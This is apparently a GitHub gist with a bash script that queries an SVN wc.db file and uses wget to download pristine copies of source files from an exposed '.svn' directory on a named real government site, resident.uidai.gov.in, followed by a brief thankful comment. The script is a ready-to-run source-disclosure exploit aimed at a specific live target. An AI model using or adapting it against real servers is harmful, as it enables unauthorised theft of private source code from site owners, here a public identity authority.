Created
January 2, 2023 11:27
-
-
Save 0xLittleSpidy/d57446737071f119f452d5bc95721864 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Set the path to the SQLite database file | |
DB_FILE="<path to wc.db>" | |
for temp in $(sqlite3 $DB_FILE 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES where kind="file";') | |
do | |
path=$(echo $temp | cut -d "|" -f 2 ) | |
file_name=$(echo $temp | cut -d "|" -f 1 ) | |
echo "[+]started downloading $file_name" | |
wget -c "https://resident.uidai.gov.in/$path" -O $file_name | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Thanks for your work, I find usefully add this lines on line 10,11:
it create a subfolder automatically :)